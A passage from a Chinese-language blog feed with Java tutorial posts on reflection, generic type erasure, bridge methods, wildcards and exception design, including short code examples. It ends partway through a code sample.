        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java泛型的类型擦除到底是什么"><a href="#Java泛型的类型擦除到底是什么" class="headerlink" title="Java泛型的类型擦除到底是什么"></a>Java泛型的类型擦除到底是什么</h1><p>Java 泛型（Generics）在 JDK 5 引入，通过类型参数实现代码复用。但 Java 的泛型采用了<strong>类型擦除（Type Erasure）</strong>实现，这与 C++ 模板有本质区别。本文深入解析类型擦除机制。</p><h2 id="类型擦除的定义"><a href="#类型擦除的定义" class="headerlink" title="类型擦除的定义"></a>类型擦除的定义</h2><p>类型擦除是指：泛型信息只存在于编译期，编译后的字节码中不包含泛型类型信息。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 源代码</span></span><br><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 编译后（反编译）</span></span><br><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br></pre></td></tr></table></figure><p>编译器在编译期进行类型检查，生成字节码时擦除类型参数，替换为限定类型（未限定则替换为 Object）。</p><h2 id="类型擦除的具体规则"><a href="#类型擦除的具体规则" class="headerlink" title="类型擦除的具体规则"></a>类型擦除的具体规则</h2><h3 id="无界类型参数"><a href="#无界类型参数" class="headerlink" title="无界类型参数"></a>无界类型参数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Box</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> T value;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(T value)</span> &#123; <span class="built_in">this</span>.value = value; &#125;</span><br><span class="line">    <span class="keyword">public</span> T <span class="title function_">get</span><span class="params">()</span> &#123; <span class="keyword">return</span> value; &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 编译后擦除为Object</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Box</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Object value;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(Object value)</span> &#123; <span class="built_in">this</span>.value = value; &#125;</span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">get</span><span class="params">()</span> &#123; <span class="keyword">return</span> value; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="有界类型参数"><a href="#有界类型参数" class="headerlink" title="有界类型参数"></a>有界类型参数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NumberBox</span>&lt;T <span class="keyword">extends</span> <span class="title class_">Number</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> T value;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 编译后擦除为Number</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NumberBox</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Number value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="桥接方法（Bridge-Method）"><a href="#桥接方法（Bridge-Method）" class="headerlink" title="桥接方法（Bridge Method）"></a>桥接方法（Bridge Method）</h2><p>为了兼容多态，编译器会自动生成桥接方法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 源代码</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Node</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setData</span><span class="params">(T data)</span> &#123; ... &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyNode</span> <span class="keyword">extends</span> <span class="title class_">Node</span>&lt;Integer&gt; &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setData</span><span class="params">(Integer data)</span> &#123; ... &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 编译后，MyNode实际有：</span></span><br><span class="line"><span class="comment">// 1. 重写的方法</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setData</span><span class="params">(Integer data)</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 编译器生成的桥接方法</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setData</span><span class="params">(Object data)</span> &#123;</span><br><span class="line">    setData((Integer) data);  <span class="comment">// 调用实际方法</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="类型擦除带来的限制"><a href="#类型擦除带来的限制" class="headerlink" title="类型擦除带来的限制"></a>类型擦除带来的限制</h2><h3 id="1-不能使用基本类型"><a href="#1-不能使用基本类型" class="headerlink" title="1. 不能使用基本类型"></a>1. 不能使用基本类型</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;<span class="type">int</span>&gt; list;     <span class="comment">// 编译错误</span></span><br><span class="line">List&lt;Integer&gt; list; <span class="comment">// 正确，使用包装类</span></span><br></pre></td></tr></table></figure><h3 id="2-不能创建类型参数的实例"><a href="#2-不能创建类型参数的实例" class="headerlink" title="2. 不能创建类型参数的实例"></a>2. 不能创建类型参数的实例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">create</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">T</span> <span class="variable">obj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T</span>();        <span class="comment">// 编译错误</span></span><br><span class="line">    T[] arr = <span class="keyword">new</span> <span class="title class_">T</span>[<span class="number">10</span>];    <span class="comment">// 编译错误</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：使用 Class 对象或反射。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> &lt;T&gt; T <span class="title function_">create</span><span class="params">(Class&lt;T&gt; clazz)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="keyword">return</span> clazz.newInstance();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-不能获取泛型类型信息"><a href="#3-不能获取泛型类型信息" class="headerlink" title="3. 不能获取泛型类型信息"></a>3. 不能获取泛型类型信息</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">Class&lt;?&gt; clazz = list.getClass();  <span class="comment">// 只能得到ArrayList.class</span></span><br></pre></td></tr></table></figure><p><strong>例外</strong>：通过子类可以获取泛型信息。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 创建匿名子类</span></span><br><span class="line"><span class="type">Type</span> <span class="variable">type</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypeReference</span>&lt;List&lt;String&gt;&gt;()&#123;&#125;.getType();</span><br><span class="line"><span class="comment">// 得到 ParameterizedType: List&lt;String&gt;</span></span><br></pre></td></tr></table></figure><p>Jackson、Gson 等库利用这一技巧实现类型安全的反序列化：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Gson</span></span><br><span class="line">List&lt;User&gt; users = gson.fromJson(json, <span class="keyword">new</span> <span class="title class_">TypeToken</span>&lt;List&lt;User&gt;&gt;()&#123;&#125;.getType());</span><br></pre></td></tr></table></figure><h2 id="通配符与边界"><a href="#通配符与边界" class="headerlink" title="通配符与边界"></a>通配符与边界</h2><h3 id="PECS-原则"><a href="#PECS-原则" class="headerlink" title="PECS 原则"></a>PECS 原则</h3><p><strong>Producer Extends, Consumer Super</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 生产者：只能读取，用 extends</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">readFrom</span><span class="params">(List&lt;? extends Number&gt; list)</span> &#123;</span><br><span class="line">    <span class="type">Number</span> <span class="variable">n</span> <span class="operator">=</span> list.get(<span class="number">0</span>);  <span class="comment">// 可以读取</span></span><br><span class="line">    <span class="comment">// list.add(1);           // 编译错误，不能写入</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 消费者：只能写入，用 super</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writeTo</span><span class="params">(List&lt;? <span class="built_in">super</span> Integer&gt; list)</span> &#123;</span><br><span class="line">    list.add(<span class="number">1</span>);             <span class="comment">// 可以写入</span></span><br><span class="line">    <span class="comment">// Integer i = list.get(0); // 只能得到Object</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="无界通配符"><a href="#无界通配符" class="headerlink" title="无界通配符"></a>无界通配符</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;?&gt; list;  <span class="comment">// 可以读取Object，不能写入（null除外）</span></span><br></pre></td></tr></table></figure><h2 id="与-C-模板的对比"><a href="#与-C-模板的对比" class="headerlink" title="与 C++ 模板的对比"></a>与 C++ 模板的对比</h2><table><thead><tr><th>特性</th><th>Java 泛型</th><th>C++ 模板</th></tr></thead><tbody><tr><td>实现方式</td><td>类型擦除</td><td>代码生成</td></tr><tr><td>类型信息</td><td>编译期存在，运行期擦除</td><td>运行期保留</td></tr><tr><td>基本类型</td><td>不支持</td><td>支持</td></tr><tr><td>代码膨胀</td><td>无</td><td>每种类型生成一份代码</td></tr><tr><td>编译错误</td><td>可能暴露类型擦除细节</td><td>错误信息复杂</td></tr></tbody></table><h2 id="实际应用技巧"><a href="#实际应用技巧" class="headerlink" title="实际应用技巧"></a>实际应用技巧</h2><h3 id="类型安全的异构容器"><a href="#类型安全的异构容器" class="headerlink" title="类型安全的异构容器"></a>类型安全的异构容器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Favorites</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Map&lt;Class&lt;?&gt;, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">put</span><span class="params">(Class&lt;T&gt; type, T instance)</span> &#123;</span><br><span class="line">        map.put(type, type.cast(instance));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> &lt;T&gt; T <span class="title function_">get</span><span class="params">(Class&lt;T&gt; type)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> type.cast(map.get(type));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="type">Favorites</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Favorites</span>();</span><br><span class="line">f.put(String.class, <span class="string">&quot;hello&quot;</span>);</span><br><span class="line">f.put(Integer.class, <span class="number">100</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> f.get(String.class);  <span class="comment">// 类型安全</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>类型擦除是 Java 泛型的核心实现机制，它在保持与旧版本兼容的同时提供了类型安全。理解类型擦除有助于：</p><ol><li>解释泛型的各种限制</li><li>正确使用通配符和边界</li><li>处理与泛型相关的编译警告</li><li>设计类型安全的 API</li></ol><p>虽然类型擦除带来了一些限制，但通过合理的设计模式（如类型令牌、超类型令牌），可以优雅地解决大多数问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java反射机制详解与使用场景</title>
      <link href="//java-fan-she-ji-zhi-xiang-jie-yu-shi-yong-chang-jing/"/>
      <url>//java-fan-she-ji-zhi-xiang-jie-yu-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Java反射机制详解与使用场景"><a href="#Java反射机制详解与使用场景" class="headerlink" title="Java反射机制详解与使用场景"></a>Java反射机制详解与使用场景</h1><p>反射（Reflection）是 Java 的强大特性之一，它允许程序在运行时检查和操作类、方法、字段等。本文从基础用法到高级应用，全面解析反射机制。</p><h2 id="什么是反射"><a href="#什么是反射" class="headerlink" title="什么是反射"></a>什么是反射</h2><p>反射是指程序在运行期间可以获取任意类的内部信息，并直接操作任意对象的内部属性和方法。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;java.util.ArrayList&quot;</span>);</span><br><span class="line"><span class="type">Object</span> <span class="variable">instance</span> <span class="operator">=</span> clazz.newInstance();</span><br></pre></td></tr></table></figure><h2 id="获取-Class-对象的三种方式"><a href="#获取-Class-对象的三种方式" class="headerlink" title="获取 Class 对象的三种方式"></a>获取 Class 对象的三种方式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. 类名.class</span></span><br><span class="line">Class&lt;String&gt; clazz1 = String.class;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 对象.getClass()</span></span><br><span class="line"><span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> <span class="string">&quot;hello&quot;</span>;</span><br><span class="line">Class&lt;?&gt; clazz2 = str.getClass();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. Class.forName()</span></span><br><span class="line">Class&lt;?&gt; clazz3 = Class.forName(<span class="string">&quot;java.lang.String&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="反射的核心操作"><a href="#反射的核心操作" class="headerlink" title="反射的核心操作"></a>反射的核心操作</h2><h3 id="创建实例"><a href="#创建实例" class="headerlink" title="创建实例"></a>创建实例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;com.example.User&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 无参构造</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> clazz.newInstance();  <span class="comment">// JDK 9+ 已废弃</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 推荐方式</span></span><br><span class="line">Constructor&lt;?&gt; constructor = clazz.getDeclaredConstructor();</span><br><span class="line"><span class="type">Object</span> <span class="variable">obj2</span> <span class="operator">=</span> constructor.newInstance();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 有参构造</span></span><br><span class="line">Constructor&lt;?&gt; paramCtor = clazz.getDeclaredConstructor(String.class, <span class="type">int</span>.class);</span><br><span class="line"><span class="type">Object</span> <span class="variable">obj3</span> <span class="operator">=</span> paramCtor.newInstance(<span class="string">&quot;张三&quot;</span>, <span class="number">25</span>);</span><br></pre></td></tr></table></figure><h3 id="操作方法"><a href="#操作方法" class="headerlink" title="操作方法"></a>操作方法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;sayHello&quot;</span>, String.class);</span><br><span class="line">method.setAccessible(<span class="literal">true</span>);  <span class="comment">// 突破私有权限</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> method.invoke(obj, <span class="string">&quot;世界&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="操作字段"><a href="#操作字段" class="headerlink" title="操作字段"></a>操作字段</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> clazz.getDeclaredField(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">field.set(obj, <span class="string">&quot;李四&quot;</span>);</span><br><span class="line"><span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> field.get(obj);</span><br></pre></td></tr></table></figure><h2 id="反射在框架中的应用"><a href="#反射在框架中的应用" class="headerlink" title="反射在框架中的应用"></a>反射在框架中的应用</h2><h3 id="Spring-的依赖注入"><a href="#Spring-的依赖注入" class="headerlink" title="Spring 的依赖注入"></a>Spring 的依赖注入</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserDao userDao;  <span class="comment">// Spring通过反射注入</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Spring 通过反射扫描 @Autowired 注解，找到对应类型的 Bean 并注入。</p><h3 id="MyBatis-的结果集映射"><a href="#MyBatis-的结果集映射" class="headerlink" title="MyBatis 的结果集映射"></a>MyBatis 的结果集映射</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// MyBatis 通过反射将数据库列映射到对象属性</span></span><br><span class="line">List&lt;User&gt; users = sqlSession.selectList(<span class="string">&quot;select * from user&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="JUnit-单元测试"><a href="#JUnit-单元测试" class="headerlink" title="JUnit 单元测试"></a>JUnit 单元测试</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CalculatorTest</span> &#123;</span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testAdd</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// JUnit 通过反射执行标注 @Test 的方法</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="反射的性能问题"><a href="#反射的性能问题" class="headerlink" title="反射的性能问题"></a>反射的性能问题</h2><p>反射比直接调用慢 10~100 倍，主要原因：</p><ol><li><strong>类型检查绕过编译期优化</strong></li><li><strong>方法访问需要权限检查</strong></li><li><strong>无法内联优化</strong></li></ol><h3 id="优化方案"><a href="#优化方案" class="headerlink" title="优化方案"></a>优化方案</h3><p><strong>1. setAccessible(true)</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;privateMethod&quot;</span>);</span><br><span class="line">method.setAccessible(<span class="literal">true</span>);  <span class="comment">// 关闭安全检查，提升性能</span></span><br></pre></td></tr></table></figure><p><strong>2. 反射结果缓存</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReflectionCache</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, Method&gt; METHOD_CACHE = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Method <span class="title function_">getMethod</span><span class="params">(Class&lt;?&gt; clazz, String name, Class&lt;?&gt;... params)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> clazz.getName() + <span class="string">&quot;.&quot;</span> + name;</span><br><span class="line">        <span class="keyword">return</span> METHOD_CACHE.computeIfAbsent(key, k -&gt; &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Method</span> <span class="variable">m</span> <span class="operator">=</span> clazz.getDeclaredMethod(name, params);</span><br><span class="line">                m.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                <span class="keyword">return</span> m;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (NoSuchMethodException e) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>3. 使用 MethodHandle（JDK 7+）</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">MethodHandles.<span class="type">Lookup</span> <span class="variable">lookup</span> <span class="operator">=</span> MethodHandles.lookup();</span><br><span class="line"><span class="type">MethodHandle</span> <span class="variable">handle</span> <span class="operator">=</span> lookup.findVirtual(String.class, <span class="string">&quot;length&quot;</span>, MethodType.methodType(<span class="type">int</span>.class));</span><br><span class="line"><span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> (<span class="type">int</span>) handle.invokeExact(<span class="string">&quot;hello&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>4. 使用 LambdaMetafactory（JDK 8+）</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 将反射方法转换为函数式接口，接近直接调用性能</span></span><br><span class="line">MethodHandles.<span class="type">Lookup</span> <span class="variable">lookup</span> <span class="operator">=</span> MethodHandles.lookup();</span><br><span class="line"><span class="type">CallSite</span> <span class="variable">site</span> <span class="operator">=</span> LambdaMetafactory.metafactory(</span><br><span class="line">    lookup, <span class="string">&quot;apply&quot;</span>,</span><br><span class="line">    MethodType.methodType(Function.class),</span><br><span class="line">    MethodType.methodType(Object.class, Object.class),</span><br><span class="line">    handle, MethodType.methodType(Integer.class, String.class)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="反射的安全限制"><a href="#反射的安全限制" class="headerlink" title="反射的安全限制"></a>反射的安全限制</h2><h3 id="SecurityManager"><a href="#SecurityManager" class="headerlink" title="SecurityManager"></a>SecurityManager</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可以通过 SecurityManager 限制反射权限</span></span><br><span class="line">System.setSecurityManager(<span class="keyword">new</span> <span class="title class_">SecurityManager</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">checkPackageAccess</span><span class="params">(String pkg)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (pkg.startsWith(<span class="string">&quot;java.lang.reflect&quot;</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SecurityException</span>(<span class="string">&quot;Reflection not allowed&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="JDK-9-模块化限制"><a href="#JDK-9-模块化限制" class="headerlink" title="JDK 9+ 模块化限制"></a>JDK 9+ 模块化限制</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// module-info.java 中需要显式开放包</span></span><br><span class="line"><span class="keyword">module</span> myapp &#123;</span><br><span class="line">    opens com.example.internal to spring.core;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实际开发建议"><a href="#实际开发建议" class="headerlink" title="实际开发建议"></a>实际开发建议</h2><ol><li><strong>业务代码中尽量避免反射</strong>：影响可读性和性能</li><li><strong>框架开发中合理使用</strong>：Spring、MyBatis 等底层实现</li><li><strong>做好异常处理</strong>：反射操作抛出大量 Checked Exception</li><li><strong>注意访问权限</strong>：setAccessible 可能受 SecurityManager 限制</li><li><strong>缓存反射结果</strong>：避免重复获取 Method/Field</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>反射是 Java 的”双刃剑”：</p><ul><li><strong>优点</strong>：极高的灵活性，是框架开发的基石</li><li><strong>缺点</strong>：性能开销大，破坏封装性，代码可读性差</li></ul><p>理解反射的原理和适用场景，才能在正确的场合使用这一强大工具。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span 